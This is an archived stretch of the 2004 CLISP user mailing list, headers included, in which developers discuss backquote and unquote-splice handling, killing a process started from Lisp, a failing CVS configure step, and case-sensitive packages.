(unquote "#,") (#-clisp unquote-splice #+clisp unquote-splice "#@") (#+allegro excl::backquote #-allegro backquote "`") (#+allegro excl::bq-comma #-allegro bq-comma ",") ; I'm not sure of the non-Allegro implementation (#+allegro excl::bq-comma-atsign #-allegro bq-comma-atsign ",@") )) The system package is locked, so I have no access. (Do I?) Are my clisp workarounds correct? #+clisp (defmacro unquote-splice (form) `(,@ form)) #+clisp (defmacro bq-comma (form) `(,form)) #+clisp (defmacro bq-comma-atsign (form) `(,@ form)) -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From sds@gnu.org Mon Sep 20 10:08:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9ReC-0001tm-Tw for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 10:08:16 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1C9ReC-0001kr-10 for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 10:08:16 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i8KH7uPt000934; Mon, 20 Sep 2004 13:07:57 -0400 (EDT) To: clisp-list@lists.sourceforge.net, don-test-204@isis.cs3-inc.com (Don Cohen) Cc: Bruno Haible , Arseny Slobodjuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200409201622.i8KGMCD28155@isis.cs3-inc.com> (Don Cohen's message of "Mon, 20 Sep 2004 09:22:12 -0700") References: <200409201622.i8KGMCD28155@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-test-204@isis.cs3-inc.com (Don Cohen), Bruno Haible , Arseny Slobodjuk Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: how to kill a program started from lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 20 10:09:06 2004 X-Original-Date: Mon, 20 Sep 2004 13:07:56 -0400 > * Don Cohen [2004-09-20 09:22:12 -0700]: > > I see that run-program with wait nil returns up to three streams, > but no process id that could be used to kill it. > Is there a recommended procedure? closing all streams usually does it. the new interface by Arseny, LAUNCH, returns the PID as the first value. (I wonder if it is now sufficiently complete to replace SHELL &c.) There is no KILL function, but you can do (run-shell-command (format nil "kill -9 ~A" pid)) I think Arseny planned to implement EXT:KILL (a straightforward interface to http://www.opengroup.org/onlinepubs/009695399/functions/kill.html and http://msdn.microsoft.com/library/en-us/dllproc/base/terminateprocess.asp -- unfortunately, they are somewhat incompatible...) -- Sam Steingold (http://www.podval.org/~sds) running w2k There are two kinds of egotists: 1) Those who admit it 2) The rest of us From sds@gnu.org Mon Sep 20 10:30:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9RzX-0006XW-K7 for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 10:30:19 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1C9RzW-0004dt-Un for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 10:30:19 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i8KHU4Pt007724; Mon, 20 Sep 2004 13:30:04 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Reini Urban Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <414F09B7.9080904@x-ray.at> (Reini Urban's message of "Mon, 20 Sep 2004 18:47:51 +0200") References: <414F09B7.9080904@x-ray.at> Mail-Followup-To: clisp-list@lists.sourceforge.net, Reini Urban , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: unquote splice Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 20 10:31:02 2004 X-Original-Date: Mon, 20 Sep 2004 13:30:04 -0400 > * Reini Urban [2004-09-20 18:47:51 +0200]: > > I need the unquote-splice facility in the km > reasoner. http://www.cs.utexas.edu/users/mfkb/km.html I have no idea what this is about. Sorry. > I've looked at http://users.footprints.net/~kaz/clisp-backquote-patch.html, > which describes the patch, which changed the clisp behaviour. Bruno modified these things quite a bit, you should read the CVS sources in src/backquote.lisp Bruno, do you think backquote & friends should be exported? > The system package is locked, so I have no access. (Do I?) > #+clisp > (defmacro unquote-splice (form) > `(,@ form)) > #+clisp > (defmacro bq-comma-atsign (form) > `(,@ form)) these are equivalent to (copy-list form) > #+clisp > (defmacro bq-comma (form) > `(,form)) this is equivalent to (list form) -- Sam Steingold (http://www.podval.org/~sds) running w2k There's always free cheese in a mouse trap. From rurban@x-ray.at Mon Sep 20 11:11:04 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9Scw-0006Db-8B for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 11:11:02 -0700 Received: from smartmx-06.inode.at ([213.229.60.38]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1C9Scv-00021E-6g for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 11:11:01 -0700 Received: from [62.99.252.218] (port=63231 helo=[192.168.0.2]) by smartmx-06.inode.at with esmtp (Exim 4.30) id 1C9Sct-0007ux-Jq for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 20:10:59 +0200 Message-ID: <414F1D31.8010101@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <414F09B7.9080904@x-ray.at> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] cvs build fails, case-sensitivity problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 20 11:12:01 2004 X-Original-Date: Mon, 20 Sep 2004 20:10:57 +0200 Sam Steingold schrieb: >>#+clisp >>(defmacro unquote-splice (form) >> `(,@ form)) >>#+clisp >>(defmacro bq-comma-atsign (form) >> `(,@ form)) > these are equivalent to > (copy-list form) >>#+clisp >>(defmacro bq-comma (form) >> `(,form)) > this is equivalent to > (list form) thanks, this works. More problems: Thanks for gdi :) 1) But clisp CVS doesn't build anymore as before: rm -rf build-cyg; configure --with-module=syscalls --with-module=regexp --with-module=berkeley-db --with-module=gdi --with-zlib --with-module=wildcard --with-module=postgresql --with-module=prce --with-module=bindings/win32 --with-module=rawsock --with-module=dirkey => executing /usr/src/lisp/clisp/clisp/src/avcall/configure --srcdir=../../ffcall/avcall --with-module= syscalls --with-module=regexp --with-module=berkeley-db --with-module=gdi --with-zlib --with-module= wildcard --with-module=postgresql --with-module=prce --with-module=bindings/win32 --with-module=raws ock --with-module=dirkey --cache-file=../config.cache configure: error: invalid package name: module 2) introducing a new case-sensitive package, causes all other existing packages also to become case-sensitive. In my understanding of the docs, only the specified package's read-table should be case-sensitive, not all. See http://clisp.cons.org/impnotes/pack-dict.html#make-pack This is confusing. CL-USER> (make-package :km :case-sensistive t) CL-USER> (in-package :km) => EVAL: undefined function in-package CL-USER> (IN-PACKAGE :km) ;ah! this works KM> (defconstant *km-package* *package*) => EVAL: undefined function defconstant KM> (SETF (READTABLE-CASE *READTABLE*) :PRESERVE) :PRESERVE Should I re-import all CL symbols? -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From kaz@footprints.net Mon Sep 20 11:14:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9Sg5-0006oP-9h for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 11:14:17 -0700 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.41) id 1C9Sg1-0002T8-FT for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 11:14:17 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 4.34) id 1C9Sfx-0003eD-S8; Mon, 20 Sep 2004 11:14:09 -0700 From: Kaz Kylheku To: Reini Urban cc: clisp-list@lists.sourceforge.net In-Reply-To: <414F09B7.9080904@x-ray.at> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: unquote splice Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 20 11:15:13 2004 X-Original-Date: Mon, 20 Sep 2004 11:14:09 -0700 (PDT) On Mon, 20 Sep 2004, Reini Urban wrote: > I need the unquote-splice facility in the km reasoner. > http://www.cs.utexas.edu/users/mfkb/km.html > > I've looked at http://users.footprints.net/~kaz/clisp-backquote-patch.html, > which describes the patch, which changed the clisp behaviour. > > Sorry, but I forgot almost all of my macro knowledge. > How to do call unquote-splice and friends in clisp now as macro/function? > > This is the KM assoc list, which will be applied on the various symbols: > > (defconstant *special-symbol-alist* > '( (quote "'") > (function "#'") > (unquote "#,") > (#-clisp unquote-splice #+clisp unquote-splice "#@") > (#+allegro excl::backquote #-allegro backquote "`") > (#+allegro excl::bq-comma #-allegro bq-comma ",") ; I'm not sure > of the non-Allegro implementation > (#+allegro excl::bq-comma-atsign #-allegro bq-comma-atsign ",@") )) > > The system package is locked, so I have no access. (Do I?) > Are my clisp workarounds correct? Hi Reini, Not sure what your software is trying to do, but be aware that the splice operators are not functions or macros. They are just syntax that can occur in a backquote template. CLISP's backquote implementation is a macro which looks for these operators and translates them into code. The following two forms are equivalent in CLISP: `(,foo ,@bar) (system::backquote ((system::unquote foo) (system::splice bar))) SYSTEM::BACKQUOTE is a macro which interprets the object ((SYSTEM::UNQUOTE FOO) (SYSTEM::SPLICE BAR)) and handles the unquotes and splices within. SYSTEM::UNQUOTE and SYSTEM::SPLICE are not facilities that are somehow available separately, but they do give us a symbolic syntax that we can generate programmatically without the use of the elements of the backquote syntax. The whole point is that you have a target data structure for writing the source code of backquote expressions, rather than just a target character-level syntax that must be processed by the reader. To make these operators do anything, they must be correctly placed into a a form which represents a complete SYSTEM::BACKQUOTE macro call, and that form must be evaluated. > #+clisp > (defmacro unquote-splice (form) > `(,@ form)) Not sure what the intent is here. All this does is evaluate the form, so a good name for this macro would be EVAL, if that symbol weren't taken already. The effect is like that of (APPEND FORM) for any given form. If the FORM produces an atom, then that atom is returned. If it produces a list, then that list is returned. -- Meta-CVS: the working replacement for CVS that has been stable for two years. It versions the directory structure, symbolic links and execute permissions. It figures out renaming on import. Plus it babysits the kids and does light housekeeping! http://freshmeat.net/projects/mcvs From rurban@x-ray.at Mon Sep 20 11:30:53 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9Sw9-0001Jv-58 for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 11:30:53 -0700 Received: from smartmx-06.inode.at ([213.229.60.38]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1C9Sw7-0004OY-Bq for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 11:30:53 -0700 Received: from [62.99.252.218] (port=62144 helo=[192.168.0.2]) by smartmx-06.inode.at with esmtp (Exim 4.30) id 1C9Sw5-0005Vw-Ld for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 20:30:49 +0200 Message-ID: <414F21D9.9080203@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: unquote splice Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 20 11:31:08 2004 X-Original-Date: Mon, 20 Sep 2004 20:30:49 +0200 Kaz Kylheku schrieb: > On Mon, 20 Sep 2004, Reini Urban wrote: >>I need the unquote-splice facility in the km reasoner. >>http://www.cs.utexas.edu/users/mfkb/km.html >> >>I've looked at http://users.footprints.net/~kaz/clisp-backquote-patch.html, >>which describes the patch, which changed the clisp behaviour. >> >>Sorry, but I forgot almost all of my macro knowledge. >>How to do call unquote-splice and friends in clisp now as macro/function? >> >>This is the KM assoc list, which will be applied on the various symbols: >> >>(defconstant *special-symbol-alist* >> '( (quote "'") >> (function "#'") >> (unquote "#,") >> (#-clisp unquote-splice #+clisp unquote-splice "#@") >> (#+allegro excl::backquote #-allegro backquote "`") >> (#+allegro excl::bq-comma #-allegro bq-comma ",") ; I'm not sure >>of the non-Allegro implementation >> (#+allegro excl::bq-comma-atsign #-allegro bq-comma-atsign ",@") )) >> >>The system package is locked, so I have no access. (Do I?) >>Are my clisp workarounds correct? > Hi Reini, > Not sure what your software is trying to do, but be aware that the > splice operators are not functions or macros. They are just syntax that > can occur in a backquote template. > > CLISP's backquote implementation is a macro which looks for these > operators and translates them into code. > > The following two forms are equivalent in CLISP: > > > `(,foo ,@bar) > > (system::backquote ((system::unquote foo) (system::splice bar))) > > SYSTEM::BACKQUOTE is a macro which interprets the object > ((SYSTEM::UNQUOTE FOO) (SYSTEM::SPLICE BAR)) and handles the > unquotes and splices within. > > SYSTEM::UNQUOTE and SYSTEM::SPLICE are not facilities that are somehow > available separately, but they do give us a symbolic syntax that we can > generate programmatically without the use of the elements of the > backquote syntax. > > The whole point is that you have a target data structure for writing > the source code of backquote expressions, rather than just a target > character-level syntax that must be processed by the reader. That's what I remember, when I wrote my own little backquote macro. > To make these operators do anything, they must be correctly placed into > a a form which represents a complete SYSTEM::BACKQUOTE macro call, > and that form must be evaluated. > >>#+clisp >>(defmacro unquote-splice (form) >> `(,@ form)) > > Not sure what the intent is here. All this does is evaluate the form, > so a good name for this macro would be EVAL, if that symbol weren't > taken already. It's a little bit complicated, because it's an expert system shell, which adds some syntactic sugar to the reader/printer. So there's an alist which defines the sugar and the function/macro to call. I found several places in the code where it is used, but I don't understand it fully for now. (let ( (special-symbol-str (second (assoc (first expr) *special-symbol-alist*))) ) (list special-symbol-str (objwrite (second expr) htmlify)))) It obviously looks for the macroexpanded bq symbol and applies its own printer notation then, overriding the standard #, and friends. So it's not really important. Just sugar for the printer. As long as it not the reader I don't care that much. :) And I can guess the needed symbols by expanding it manually. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From sds@gnu.org Mon Sep 20 11:36:28 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9T1X-0002JG-Q8 for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 11:36:27 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1C9T1W-0004oH-UO for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 11:36:27 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i8KIaIPt029114; Mon, 20 Sep 2004 14:36:18 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Reini Urban Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <414F1D31.8010101@x-ray.at> (Reini Urban's message of "Mon, 20 Sep 2004 20:10:57 +0200") References: <414F09B7.9080904@x-ray.at> <414F1D31.8010101@x-ray.at> Mail-Followup-To: clisp-list@lists.sourceforge.net, Reini Urban Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: cvs build fails, case-sensitivity problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 20 11:42:07 2004 X-Original-Date: Mon, 20 Sep 2004 14:36:18 -0400 > * Reini Urban [2004-09-20 20:10:57 +0200]: > > 1) But clisp CVS doesn't build anymore as before: > > rm -rf build-cyg; configure --with-module=syscalls --with-module=regexp > --with-module=berkeley-db --with-module=gdi --with-zlib you mean --with-module=zlib > --with-module=wildcard --with-module=postgresql --with-module=prce > --with-module=bindings/win32 --with-module=rawsock --with-module=dirkey > > => > executing /usr/src/lisp/clisp/clisp/src/avcall/configure > --srcdir=../../ffcall/avcall --with-module= > syscalls --with-module=regexp --with-module=berkeley-db > --with-module=gdi --with-zlib --with-module= > wildcard --with-module=postgresql --with-module=prce > --with-module=bindings/win32 --with-module=raws > ock --with-module=dirkey --cache-file=../config.cache > configure: error: invalid package name: module I have seen this too. this error comes and goes at will. just try again. restart bash. reboot. whatever. > 2) introducing a new case-sensitive package, causes all other existing > packages also to become case-sensitive. In my understanding of the > docs, only the specified package's read-table should be > case-sensitive, not all. > See http://clisp.cons.org/impnotes/pack-dict.html#make-pack > This is confusing. > > CL-USER> (make-package :km :case-sensistive t) > CL-USER> (in-package :km) > => > EVAL: undefined function in-package > > CL-USER> (IN-PACKAGE :km) WFM: [3]> (make-package :km :case-sensitive t) # [4]> (in-package :km) # -- Sam Steingold (http://www.podval.org/~sds) running w2k Stupidity, like virtue, is its own reward. From rurban@x-ray.at Mon Sep 20 12:04:29 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9TSd-0007Bc-8Q for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 12:04:27 -0700 Received: from smartmx-01.inode.at ([213.229.60.33]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1C9TSc-0000jw-Be for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 12:04:27 -0700 Received: from [62.99.252.218] (port=62933 helo=[192.168.0.2]) by smartmx-01.inode.at with esmtp (Exim 4.30) id 1C9TSa-0002Ld-AN for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 21:04:24 +0200 Message-ID: <414F29B7.7080801@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <414F09B7.9080904@x-ray.at> <414F1D31.8010101@x-ray.at> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: cvs build fails, case-sensitivity problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 20 12:05:05 2004 X-Original-Date: Mon, 20 Sep 2004 21:04:23 +0200 Sam Steingold schrieb: >>* Reini Urban [2004-09-20 20:10:57 +0200]: >>1) But clisp CVS doesn't build anymore as before: >> >>rm -rf build-cyg; configure --with-module=syscalls --with-module=regexp >>--with-module=berkeley-db --with-module=gdi --with-zlib > > > you mean --with-module=zlib > > >>--with-module=wildcard --with-module=postgresql --with-module=prce >>--with-module=bindings/win32 --with-module=rawsock --with-module=dirkey >> >>=> >>executing /usr/src/lisp/clisp/clisp/src/avcall/configure >>--srcdir=../../ffcall/avcall --with-module= >>syscalls --with-module=regexp --with-module=berkeley-db >>--with-module=gdi --with-zlib --with-module= >>wildcard --with-module=postgresql --with-module=prce >>--with-module=bindings/win32 --with-module=raws >>ock --with-module=dirkey --cache-file=../config.cache >>configure: error: invalid package name: module > > > I have seen this too. this error comes and goes at will. > just try again. > restart bash. > reboot. > whatever. Oh god, I knew it is borked. Restarting didn't help. I have this for a longer time now. I'll try to do the configure calls manually then or wait until you have found it. >>2) introducing a new case-sensitive package, causes all other existing >> packages also to become case-sensitive. In my understanding of the >> docs, only the specified package's read-table should be >> case-sensitive, not all. >>See http://clisp.cons.org/impnotes/pack-dict.html#make-pack >>This is confusing. >> >>CL-USER> (make-package :km :case-sensistive t) >>CL-USER> (in-package :km) >>=> >>EVAL: undefined function in-package >> >>CL-USER> (IN-PACKAGE :km) > > WFM: > > [3]> (make-package :km :case-sensitive t) > # > [4]> (in-package :km) > # > hmm.. $ clisp -norc -ansi -q [1]> (make-package :km :case-sensitive t) # [2]> (in-package :km) # KM[3]> (defun xx ()(print 'ok)) ** - Continuable Error EVAL: Die Funktion defun ist nicht definiert. Wenn Sie (mit Continue) fortfahren: Neuer Anlauf ** - Continuable Error Zeichen #\u00F6 kann im Zeichensatz CHARSET:ASCII nicht dargestellt werden. Wenn Sie (mit Continue) fortfahren: Neuer Anlauf ... => stack dump or $ clisp -norc -q -ansi -L ENGLISH -x \ "(make-package :km :case-sensitive t)(in-package :km)(defun xx ()(print 'ok))" # # *** - EVAL: undefined function defun I also have problems after #+clisp (SETF (READTABLE-CASE *READTABLE*) :PRESERVE) I just wanted to play with the new features of a modern lisp, being able to have a |Car| as Car (the automobile), which doesn't return the first element of a list, but my object instead. allegro and lispworks do it right, according to the KM docs. Okay, a border case. Maybe I should downcase all existing symbols, define my case-sensitive package, set the readtable to preserve, load my package (which assumes downcased CL symbols), and restore the defaults. $ clisp --version GNU CLISP 2.33.1 (2004-05-22) (built on winsteingoldlap [192.168.1.101]) Software: GNU-C 3.3.1 (cygming special) ANSI-C-Programm Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX CYGWIN) Installation directory: /usr/lib/clisp/ User language: ENGLISH Machine: I686 (I686) reini.helsinki.local [192.168.0.2] (the latest CVS doesn't build yet) -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From sds@gnu.org Mon Sep 20 12:23:24 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9Tkx-0002Mg-W8 for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 12:23:23 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1C9Tkx-0003FJ-EU for clisp-list@lists.sourceforge.net; Mon, 20 Sep 2004 12:23:23 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i8KJNDPt013502; Mon, 20 Sep 2004 15:23:13 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Reini Urban Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <414F29B7.7080801@x-ray.at> (Reini Urban's message of "Mon, 20 Sep 2004 21:04:23 +0200") References: <414F09B7.9080904@x-ray.at> <414F1D31.8010101@x-ray.at> <414F29B7.7080801@x-ray.at> 